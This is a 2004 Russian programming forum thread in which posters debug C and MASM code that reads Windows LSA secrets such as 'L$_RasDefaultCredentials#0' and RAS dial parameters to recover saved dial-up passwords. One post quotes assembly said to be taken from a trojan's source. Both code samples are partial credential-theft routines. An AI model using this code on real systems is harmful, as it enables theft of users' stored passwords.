· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.NETWORKS —› "Call user breakpoint xxxxxxxxxx" - кто-нить знает, что это...

Посл.отвђт Сообщенiе


Дата: Янв 10, 2004 00:30:48 · Поправил: Nimnull

Приветствую...
Люди, знает , может, кто - из-за чего выскакивает сообщение "User breakpoint called from code at ntdll.dll:xxxxxxxxxx" при отладке проги (VC6.0, XP SP1) на функции RasGetEntryProperties(0, RasEntryName->szEntryName, &RasEntry, &RasEntrySize, 0, 0); и отладчик переключается в режим дизассемблера... После этой функции программу хрен отладишь...
/---headers.h--------
#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <ras.h>
/*
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:new_main")
#pragma comment(linker,"/NODEFAULTLIB")
*/
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

typedef NTSTATUS (* PFN_LSARETRIEVEPRIVATEDATA)(LSA_HANDLE,PLSA_UNICODE_STRING,PLSA_UNICOD E_STRING*);
#define PN_LSARETRIEVEPRIVATEDATA "LsaRetrievePrivateData"

typedef NTSTATUS (* PFN_LSAOPENPOLICY)(PLSA_UNICODE_STRING,PLSA_OBJECT_ATTRIBUTES,ACCESS_M ASK,  PLSA_HANDLE);
#define PN_LSAOPENPOLICY "LsaOpenPolicy"

typedef NTSTATUS (* PFN_LSACLOSE)(LSA_HANDLE);
#define PN_LSACLOSE "LsaClose"
/---------------------------------
#include "headers.h"

int main(void)
{
  PFN_LSARETRIEVEPRIVATEDATA	pfnRPD	 = NULL;
  PFN_LSAOPENPOLICY		pfnLOP   = NULL;
  PFN_LSACLOSE			pfnLC    = NULL;
  HMODULE			hLib     = NULL;

  LSA_UNICODE_STRING	UnicodeStr;
  PLSA_UNICODE_STRING	PrivateData;
  LSA_OBJECT_ATTRIBUTES	ObjAttrib;
  LSA_HANDLE	PolicyHandle;
  NTSTATUS nts;

  RASENTRYNAME *RasEntryName = (RASENTRYNAME*) HeapAlloc(GetProcessHeap(), 0, sizeof(RASENTRYNAME)); 
  DWORD	dwEntries = 0;
  DWORD	dwCb = 5*(sizeof(RASENTRYNAME));
  RASENTRY RasEntry;
  DWORD	RasEntrySize;
  RASDIALPARAMS	RasDialParams;
  BOOL	PasswFlag;

  UnicodeStr.Buffer = L"L$_RasDefaultCredentials#0";
  UnicodeStr.Length = lstrlenW(UnicodeStr.Buffer) * sizeof(WCHAR); 
  UnicodeStr.MaximumLength = (lstrlenW(UnicodeStr.Buffer) + 1) * sizeof(WCHAR);
  
  ZeroMemory(&RasEntry, sizeof(RASENTRY));
  RasEntry.dwSize = RasEntrySize = sizeof(RASENTRY);

  ZeroMemory(&RasDialParams, sizeof(RASDIALPARAMS));
  RasDialParams.dwSize = sizeof(RASDIALPARAMS);

  ZeroMemory(&ObjAttrib, sizeof(LSA_OBJECT_ATTRIBUTES));
  ObjAttrib.Length = sizeof(LSA_OBJECT_ATTRIBUTES);

  ZeroMemory(RasEntryName, sizeof(RasEntryName));
  RasEntryName->dwSize = (sizeof(RASENTRYNAME));

  hLib = LoadLibrary("ADVAPI32.DLL");
  	pfnRPD	 = (PFN_LSARETRIEVEPRIVATEDATA)	GetProcAddress(hLib, PN_LSARETRIEVEPRIVATEDATA);
    pfnLOP=(PFN_LSAOPENPOLICY)GetProcAddress(hLib, PN_LSAOPENPOLICY);
    pfnLC = (PFN_LSACLOSE)GetProcAddress(hLib, PN_LSACLOSE);
  FreeLibrary(hLib); 

    if ((NULL != pfnLOP) && (NULL != pfnLC))
    {
        nts = (*pfnLOP)(NULL, &ObjAttrib, POLICY_ALL_ACCESS, &PolicyHandle);
      nts = (*pfnRPD)(PolicyHandle, &UnicodeStr, &PrivateData);

     RasEnumEntries(NULL, NULL, RasEntryName, &dwCb, &dwEntries);
//---------------------------		
RasGetEntryProperties(0, RasEntryName->szEntryName, &RasEntry, &RasEntrySize, 0, 0);   
//===========================
lstrcpy(RasDialParams.szEntryName, RasEntryName->szEntryName);
RasGetEntryDialParams(NULL, &RasDialParams, &PasswFlag);
WORD offs = PrivateData->Buffer[0];
		(*pfnLC)(PolicyHandle);
        printf("Done.\n");
    }
  return 0; 
}


P.S Бряков, разумеется, сам я не ставлю...


Дата: Янв 10, 2004 05:09:34 · Поправил: q_q

Nimnull
1. Для вызова RasEnumEntries ты выделил под RasEntryName всего один sizeof(RASENTRYNAME), а в dwCb указал 5*sizeof(RASENTRYNAME).
2. пример использования RasEnumEntries (delphi) обрати внимание, на размер RasEntries, и на то что заносят в RasEntries[0]->dwSize.
3. Ты действительно не проверяешь успешно ли завершился вызов API или убрал проверки для компактности сообщения?

ps отредактируй сообщение (убери tab'ы в коде), а то на экран не помещается.


Дата: Янв 10, 2004 05:21:11

1600x1200 помещается :)


Дата: Янв 10, 2004 05:37:22

Nimnull
У тебя есть описания функций:
LsaRetrievePrivateData
LsaOpenPolicy
LsaClose

Если есть поделись...


Дата: Янв 10, 2004 05:37:57

Nimnull
У тебя есть описания функций:
LsaRetrievePrivateData
LsaOpenPolicy
LsaClose

Если есть поделись...


Дата: Янв 10, 2004 05:52:33

AsbAlex
msdn-online не катит?
примеры из inet'a не подходят?
psdk не используешь?


Дата: Янв 10, 2004 06:09:19

hGoblin
Imho даже владельцы hires не будут спорить, что плохо _оформленное_ сообщение оттолкнет потенциальных отвечателей.


Дата: Янв 10, 2004 06:35:33 · Поправил: hGoblin

q_q
Imho даже владельцы hires не будут спорить,...
Я тем более не буду. При таком hirese видно только, что скроллбара нету, а буквы хрен разберешь.


Дата: Янв 10, 2004 08:36:56 · Поправил: AsbAlex

q_q
мне бы на русском...
Дай,если есть конечно...


Дата: Янв 10, 2004 08:40:44

Ну и еще одно
Вот это содранно с исходника одного трояна:
LSA_UNICODE_STRING struct
Len dw ?
MaximumLength dw ?
Buffer dd ?
LSA_UNICODE_STRING ends

.data
szAdvApi db "advapi32.dll",0
LsaF1 db "LsaOpenPolicy",0
LsaF2 db "LsaRetrievePrivateData",0
LsaF3 db "LsaFreeMemory",0
LsaF4 db "LsaClose",0
szDial db "DialParamsUID",0
szLPath db "Microsoft\Network\Connections\pbk\rasphone.pbk",0
szSid db "S-1-", 0
szSid1 db "%s0x%02hx%02hx%02hx%02hx%02hx%02hx",0
szSid2 db "%s%lu",0
szSid3 db "%s-%lu",0
.data?
lpBuf db 32768 dup(?)

.code

start:

invoke LSAGetPasswords

invoke ExitProcess,0

; Get text version of security identificator for the currently logged user

LSAGetPasswords proc uses esi edi

LOCAL hLib: DWORD
LOCAL arqst[256]: BYTE
LOCAL rqst[256]: WCHAR
LOCAL objattrib[18h]: BYTE
LOCAL lsaid, pswprt: DWORD
LOCAL ketnm: LSA_UNICODE_STRING
LOCAL pwbuf, bufxp: DWORD
LOCAL bufsz, nttxtbuf, xpbuflen: DWORD
LOCAL _LsaOpenPolicy, _LsaRetrievePrivateData, _LsaFreeMemory, _LsaClose: DWORD


; Initialize
mov lsaid, 0
mov pswprt, 0
mov nttxtbuf, 0
mov xpbuflen, 0
mov bufxp, 0
mov arqst[0], 0

; Load advapi.dll library
invoke LoadLibrary, offset szAdvApi
mov hLib, eax

; Load Lsa functions
invoke GetProcAddress, hLib, offset LsaF1
mov _LsaOpenPolicy, eax
invoke GetProcAddress, hLib, offset LsaF2
mov _LsaRetrievePrivateData, eax
invoke GetProcAddress, hLib, offset LsaF3
mov _LsaFreeMemory, eax
invoke GetProcAddress, hLib, offset LsaF4
mov _LsaClose, eax

mov ecx, 18h
lea edi, objattrib
xor eax, eax
rep stosb

lea eax, lsaid
push eax
push 4
lea eax, objattrib
push eax
push 0
call _LsaOpenPolicy

ret
LSAGetPasswords endp

Почему после вызова _LsaOpenPolicy GetLastError возвращает
ERROR_IO_PENDING


Дата: Янв 10, 2004 09:55:18

AsbAlex
Зачем вызывать GetLastError?
LsaOpenPolicy сама возвращает код ошибки.
Для его перевода в Win32 error code надо использовать LsaNtStatusToWinError.


Дата: Янв 11, 2004 15:27:55 · Поправил: Nimnull

Я уже сам понял в чем дело - __stdcall надо дописать при об'явлении указателей на функции.
q_q Ну, бывает, пользуюсь ;)
AsbAlex На английском есть (MSDN), а на человеческом ищи в инете... (если надо напиши - tomyfriend@kist.ru, имхо там немало...)

P.S. За табы в коде - извиняюсь (у меня 1024x768 - все нормально ;), как-то не подумал...


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072